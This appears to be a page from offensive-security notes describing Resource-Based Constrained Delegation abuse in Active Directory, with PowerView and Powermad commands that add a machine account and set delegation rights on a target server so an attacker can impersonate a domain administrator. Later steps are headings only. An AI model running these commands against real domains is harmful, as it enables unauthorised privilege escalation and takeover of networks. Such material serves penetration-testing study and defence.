Resource Based Constrained Delegation

Abuse by Windows System

We can use this attack vector with GenericAll, WriteProperty, or WriteDACL access rights.

Enumerating ms-DS-MachineAccountQuota

PowerView
PS C:\> Get-DomainObject -Identity prod -Properties ms-DS-MachineAccountQuota

Creating computer account with Powermad

PS C:\Tools> . .\powermad.ps1

PS C:\Tools> New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
[+] Machine account myComputer added

We can verify our new computer is present

PS C:\> Get-DomainComputer -Identity myComputer

Creating a new SecurityDescriptor

PS C:\> $sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid

PS C:\> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))" 

PS C:\tools> $SDbytes = New-Object byte[] ($SD.BinaryLength)

PS C:\tools> $SD.GetBinaryForm($SDbytes,0)

PS C:\tools> Get-DomainComputer -Identity appsrv | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Verifying the SID in the SecurityDescriptor

Using S4U extension to request a TGS for appsrv

Now that we have a TGS for the CIFS service on appsrv as administrator.

Abuse by Linux System

Adding Computer

Adding delegation permissions to AppSRV

Impersonating the Domain administrator

Remote Code Execution

PreviousConstrained DelegationNextLAPs

Last updated